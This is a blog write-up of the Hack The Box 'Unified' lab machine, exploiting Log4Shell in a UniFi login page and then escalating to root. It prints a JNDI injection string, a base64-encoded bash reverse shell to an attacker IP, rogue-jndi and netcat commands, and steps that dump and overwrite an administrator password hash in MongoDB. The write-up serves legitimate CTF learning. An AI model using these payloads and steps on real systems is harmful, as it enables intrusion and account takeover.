Hack The Box — Unified

James Pearson
8 min readFeb 6, 2022

HTB Tags: #Linux #Web #CVE

This is a new addition to the Starting Point series bringing it up to seventeen boxes. The focus this time was on the latest expliot to cause some hysteria — Log4J. Let’s get back to process and enumerate the box.

ping

nmap

Now, we are aware that the focus here is on the web front end as part of the Log4J, — port 8080, which re-directs to 8443. So these are the active ports that we will utilise.

website

As already mentioned we get redirected to port 8443:

https://10.129.96.149:8443/manage/account/login?redirect=%2Fmanage

This provides us with a login screen.

Now part of the exploit is using the “Remember me” function of the login box. Let’s use ZAP (Burp Suite provides similar results but as I am trying to use ZAP as my primary tool, I will provide these details as screenshots.) So, let’s log in and finally tick the “Remember me” box.

  • Username: test_user
  • Password: change_me

Looking at the main window in ZAP, we see both the Request and Response tabs.

This gives a response indicating DENY as the credentials are wrong:

Now we can test for the vulnerabilty. As mentioned before, this links into the “Remember me” function. We will look to test it with a new string:

  • ${jndi:ldap://Attacker_Box_IP/test}

HTB provide some good explainations of the jndi interface and and ldap protocol:

JNDI is the acronym for the Java Naming and Directory Interface API . By making calls to this API, applications locate resources and other program objects. A resource is a program object that provides connections to systems, such as database servers and messaging systems.
LDAP is the acronym for Lightweight Directory Access Protocol , which is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over the Internet or a Network. The default port that LDAP runs on is port 389 .

Within ZAP while in the Request tab, we right click and select the “Open/Resent with Request Editor” tool (Requester on Burp Suite)

If we run this with the added text we will still get the error indicating failure.

However if we set up a tcpdump listener on the LDAP port 389, we should get feedback if the box is vulnerable.

┌──(karti㉿kali-ctf)-[~]
└─$ sudo tcpdump -i tun0 port 389
[sudo] password for karti:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

OK. Let’s resend the test script through ZAP and see what results we get.

As expected an error is shown, however the tcpdump has received some data confirming that the box is exploitable.

┌──(karti㉿kali-ctf)-[~]
└─$ sudo tcpdump -i tun0 port 389
[sudo] password for karti:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
07:27:34.587217 IP 10.129.96.149.53060 > kali-ctf.ldap: Flags [S], seq 4162792509, win 64240, options [mss 1285,sackOK,TS val 1408506213 ecr 0,nop,wscale 7], length 0
07:27:34.587236 IP kali-ctf.ldap > 10.129.96.149.53060: Flags [R.], seq 0, ack 4162792510, win 0, length 0

additional software

In order to continue with the exploit, utilising the rogue-jndi java application from the github repository, we first need to install the following software and then git clone rogue-jndi:

  • openjdk-11-jdk (apt install)

From Google: OpenJDK is an open-source project, implementing the Java Specifications, JSRs, and JEPs that define the Java platform. This project publishes only source-code, not binaries or installers to get Java running on your computer

  • maven (apt install)

From Google: Apache Maven is a build automation tool used primarily for Java projects. Maven can also be used to build and manage projects written in C#, Ruby, Scala, and other languages.

  • rogue-jndi (git clone — from here)

From github: A malicious LDAP server for JNDI injection attacks. The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API. In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client.

Follow the build instructions from github for the latest information. Currently they are: (Java v1.7+ and Maven v3+ required)

cd rogue-jndi
mvn package

From the install it will create a RogueJndi-1–1.jar file. This will be in a target directory target/RogueJndi-1.1.jar

exploit

Now we have our additional software installed we can start to build the exploit. This is completed in two parts:

Firstly, the creation of the payload using base64 to ensure no issues with encoding at the target end.

echo 'bash -c bash -i >&/dev/tcp/Attacker_IP/PORT 0>&1' |
base64

My example turns out as such:

┌──(karti㉿kali-ctf)-[~]
└─$ echo 'bash -c bash -i >&/dev/tcp/10.10.14.139/4444 0>&1' | base64
YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTM5LzQ0NDQgMD4mMQo=

Secondly we we add this to our full exploit:

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YOUR_BASE64_HERE}|{base64,-d}|{bash,-i}" --hostname "ATTACKER_IP"

This gives us:

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTM5LzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" --hostname "10.10.14.139"

We now run this, which should start up our HTTP and LDAP servers:

One further set up is required, that of a netcat session with the details taken from the previously supplied attacker IP and port.

┌──(karti㉿kali-ctf)-[~]
└─$ nc -nlvp 4444
Listening on 0.0.0.0 4444

Finally we amend the ZAP/Burp Suite request with a Tomcat output:

{"username":"test_user",
"password":"change_me",
"remember":"${jndi:ldap://10.10.14.139:1389/o=tomcat}",
"strict":true}

All we have to do now is send the request. Of course as before the response will error out, but this time two other responses, should be visible.

Firstly the o=tomcat payload is visible:

Secondly, the netcat session will receive a connection:

Let’s get that made interactive. As it does not have python installed, we can use the shell command:

script /dev/null -c bash
Script started, file is /dev/null
unifi@unified:/usr/lib/unifi$

Now we can enumerate the target to get the user flag.

unifi@unified:/usr/lib/unifi$ id
uid=999(unifi) gid=999(unifi) groups=999(unifi)
unifi@unified:/usr/lib/unifi$ ls /home
ls /home
michael
unifi@unified:/usr/lib/unifi$ ls /home/michael
ls /home/michael
user.txt
unifi@unified:/usr/lib/unifi$ cat /home/michael/user.txt
cat /home/michael/user.txt
6ce***************************

escalation

The original hackthebox and sprocket security writeup is based on the mongo database, so lets see if it is running and on what port:

unifi@unified:/usr/lib/unifi$ ps aux | grep mongo
ps aux | grep mongo
unifi 67 0.3 4.2 1103748 85700 ? Sl 07:08 0:48 bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1
unifi 5733 0.0 0.0 11468 1056 pts/0 S+ 10:35 0:00 grep mongo

Here we see it is running on port 27117 which is a standard “unassigned” port. A Google search informs us that the default database(DB) in mongo is called ace and this can be confirmed by a local search:

mongo --port 27117 --eval "db.adminCommand('listDatabases');"

This gives us a number of DBs and verifies the default:

unifi@unified:/usr/lib/unifi$ mongo --port 27117 --eval "db.adminCommand('listDatabases');"
<rt 27117 --eval "db.adminCommand('listDatabases');"
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/
MongoDB server version: 3.6.3
{
"databases" : [
{
"name" : "ace",
"sizeOnDisk" : 2027520,
"empty" : false
},
{
"name" : "ace_stat",
"sizeOnDisk" : 249856,
"empty" : false
},
{
"name" : "admin",
"sizeOnDisk" : 32768,
"empty" : false
},
{
"name" : "config",
"sizeOnDisk" : 12288,
"empty" : false
},
{
"name" : "local",
"sizeOnDisk" : 73728,
"empty" : false
}
],
"totalSize" : 2396160,
"ok" : 1
}

We can now use a similar command to get all the users on the system:

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"`

This does produce a lot of data in json format of the users. I will only show the administrator:

unifi@unified:/usr/lib/unifi$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);" 
<17 ace --eval "db.admin.find().forEach(printjson);"
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/ace
MongoDB server version: 3.6.3
{
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",
"time_created" : NumberLong(1640900495),
"last_site_name" : "default",
"ui_settings" : {

We have the hash that we could crack, but this could take some time, so we can use the same credentials within the DB to just change the administrator’s password. We see that the admin password is $6$, which is SHA512. We can now create this on our own attack box and amend the target file. To do this we use the mkpasswd command, that comes as part of the whois suite.

┌──(karti㉿kali-ctf)-[~]
└─$ mkpasswd -m sha-512 Password1234
$6$nCiz.BUHQGQ8KpZv$pRaZabdm03bPBxVyaG6OKs/dmMASG6DxTC30/IceWjGVeXtBbYshFjuAGOJOJcEQhE4.4x0ETwCS/92wsa7W51

Again using the mongo command line structure we can amend the administrator x_shadow file:

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$nCiz.BUHQGQ8KpZv$pRaZabdm03bPBxVyaG6OKs/dmMASG6DxTC30/IceWjGVeXtBbYshFjuAGOJOJcEQhE4.4x0ETwCS/92wsa7W51"}})'

Now we have done that we can check using a previous command to see if it has been updated:

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

The results are confirmed.

unifi@unified:/usr/lib/unifi$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
<17 ace --eval "db.admin.find().forEach(printjson);"
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/ace
MongoDB server version: 3.6.3
{
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "$6$nCiz.BUHQGQ8KpZv$pRaZabdm03bPBxVyaG6OKs/dmMASG6DxTC30/IceWjGVeXtBbYshFjuAGOJOJcEQhE4.4x0ETwCS/92wsa7W51",

We can now log in with the administrator:Password1234

This gains us access to the default dashboard.

Further enumeration of the tab/settings provides us with the root password, with ssh showing as enabled. Take a note of the password.

  • Not************************

And lets ssh for the final root flag.

┌──(karti㉿kali-ctf)-[/etc/maven]
└─$ ssh root@$IP
The authenticity of host '10.129.104.40 (10.129.104.40)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.104.40' (ED25519) to the list of known hosts.
root@10.129.104.40's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisationroot@unified:~# cat /root/root.txt
e50*****************************
root@unified:~#

summary

This took a while to work through as I was not sure if the box was at fault or having plain capacity issues. Other people had similar problems and raised cases with the support teams, but by the time of this write-up the shell had remained stable throughout. A great learning challenge with some additional insights into mongoDB. As a look forward, I will now attempt the TryHackMe box to see if I have actually learned anything!!

--

--

James Pearson

20 + years in an IT environment, working for companies such as Synstar, HP, DXC and Capgemini in a number of different service areas. Now a cyber CTF addict.